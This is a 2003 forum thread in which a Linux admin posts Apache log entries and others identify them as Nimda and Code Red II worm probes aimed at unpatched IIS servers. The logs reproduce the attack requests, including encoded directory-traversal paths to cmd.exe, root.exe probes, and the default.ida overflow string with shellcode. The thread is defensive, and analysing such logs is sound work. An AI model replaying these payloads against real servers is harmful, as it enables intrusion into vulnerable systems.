what the hack is this?

doublefailure · 04-07-2003, 04:19 AM

apache access log

24.162.164.121 - - [04/Apr/2003:16:50:47 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 333
24.162.164.121 - - [04/Apr/2003:16:50:53 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system
32/cmd.exe?/c+dir HTTP/1.0" 404 349
24.162.164.121 - - [04/Apr/2003:16:50:57 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.162.164.121 - - [04/Apr/2003:16:51:00 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.162.164.121 - - [04/Apr/2003:16:51:03 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.162.164.121 - - [04/Apr/2003:16:51:07 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.162.164.121 - - [04/Apr/2003:16:51:11 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 299
24.162.164.121 - - [04/Apr/2003:16:51:14 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 299
24.162.164.121 - - [04/Apr/2003:16:51:16 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
24.162.164.121 - - [04/Apr/2003:16:51:19 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
24.162.119.123 - - [04/Apr/2003:17:51:02 -0600] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90 90%u9090%u8190%u00c3%u0003%u8b00%
u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 289
24.162.29.46 - - [04/Apr/2003:18:01:10 -0600] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090 %u9090%u8190%u00c3%u0003%u8b00%u5
31b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 289
24.162.164.121 - - [04/Apr/2003:18:29:25 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 294
24.162.164.121 - - [04/Apr/2003:18:29:28 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 292
24.162.164.121 - - [04/Apr/2003:18:29:30 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
24.162.164.121 - - [04/Apr/2003:18:29:33 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
24.162.164.121 - - [04/Apr/2003:18:29:36 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
24.162.164.121 - - [04/Apr/2003:18:29:38 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 333
24.162.164.121 - - [04/Apr/2003:18:29:41 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 333
24.162.164.121 - - [04/Apr/2003:18:29:45 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system
32/cmd.exe?/c+dir HTTP/1.0" 404 349
24.162.164.121 - - [04/Apr/2003:18:29:51 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.162.164.121 - - [04/Apr/2003:18:29:54 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.162.164.121 - - [04/Apr/2003:18:29:57 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.162.164.121 - - [04/Apr/2003:18:29:59 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.162.164.121 - - [04/Apr/2003:18:30:01 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 299
24.162.164.121 - - [04/Apr/2003:18:30:03 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 299
24.162.164.121 - - [04/Apr/2003:18:30:04 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
24.162.164.121 - - [04/Apr/2003:18:30:04 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316

unSpawn · 04-07-2003, 04:43 AM

AFAIK, Nimda worm.
You could have Googled/searched LQ for it.

doublefailure · 04-07-2003, 05:21 AM

thanks ..

Capt_Caveman · 04-07-2003, 01:03 PM

This is the new CodeRed II variant:

GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u6858%ucbd3%u7801%u90
90%u9090%u8190%u00c3%u0003%u8b00%

koy · 04-08-2003, 11:41 AM

aint it trying to hack into an iis server?

anyways whatever it did it won't work as ur on linux

Capt_Caveman · 04-08-2003, 12:46 PM

>aint it trying to hack into an iis server?
Yup, another IIS ASAPI overflow. Sad part is the patch for this from MS has been out forever and my apache log is still filling with these requests. Hard to decide who to blame...MS for not checking their code or the lazy sysamins who can't take the time to patch there winblows servers.

twantrd · 04-18-2003, 05:27 AM

Hmm, i got that same line in my access_log as well.

So, that will only affect window's servers or is my linux server affected as well? Cuz now im starting to get worried that my linux server has a worm...

-twantrd

Capt_Caveman · 04-18-2003, 10:27 AM

Nope it only afffects microsoft servers that run the IIS web server and don't have the patch installed. Your linux box is fine. Get used to seeing those in your logs though, because you will see them over and over. If you're worried about worms, download and run chkrootkit.

osfestus · 04-20-2003, 08:49 PM

well it is still a problem for Apache/Linux users even though it cannot affect Linux in the way it does Windows. The problem is that these annoying attacks can make a real dent in the bandwidth available to your legit users. It can waste alot of admin time, I HATE scrolling through lines of Code Red and CRII log entries just to look at real server data.

Crashed_Again · 04-21-2003, 10:59 AM

I just put these people into /etc/hosts.deny ...well I used to but I get so many of them that it started to get a little out of hand.

osfestus · 04-21-2003, 11:18 AM

lol, When I first read this I was gonna say...you must not get alot of attacks, I don't have 2 hours a day just for logging IP's and then adding them to /etc/hosts.deny! Looks like you don't either. I wish ISP's or traffic aggregates would actually do something about the host networks for the machines that are STILL running these f&*^$@g code red variants. You know I have probably sent a hundred or so emails to various abuse@someisp.com addresses for different problems with attacks or scanners/viruses and have never ONCE gotten a reply. Just this weekend one of my mail servers got bombed by a spam email server in Germany. I mean, all relaying is denied but this damned box would not stop. It chaps my hide that I have to start creating iptables rules because of losers like that.

fishsponge · 04-24-2003, 09:03 AM

you might like to install HotSaNiC... here it is running on my home machine:

http://broadband.mongeese.co.uk/hotsanic

If you scroll to the right hand side you will see three graphs... default.ida, cmd.exe, and root.exe. These are graphs (which you can click on) displaying how often these worms hit your web server. HotSaNiC works on all CLF log files too.

osfestus · 04-24-2003, 09:13 AM

That is very cool, I think I will give that a look.

fishsponge · 04-24-2003, 12:23 PM

it is quite useful actually :-) gives a great overview and trend of your entire system.

it's all open source too, so you can custimize is for your own needs as much as you like (i think).

incase you were wondering.... the white gap is cos i shut my machine down for easter while i went away, so it has no data for that time period.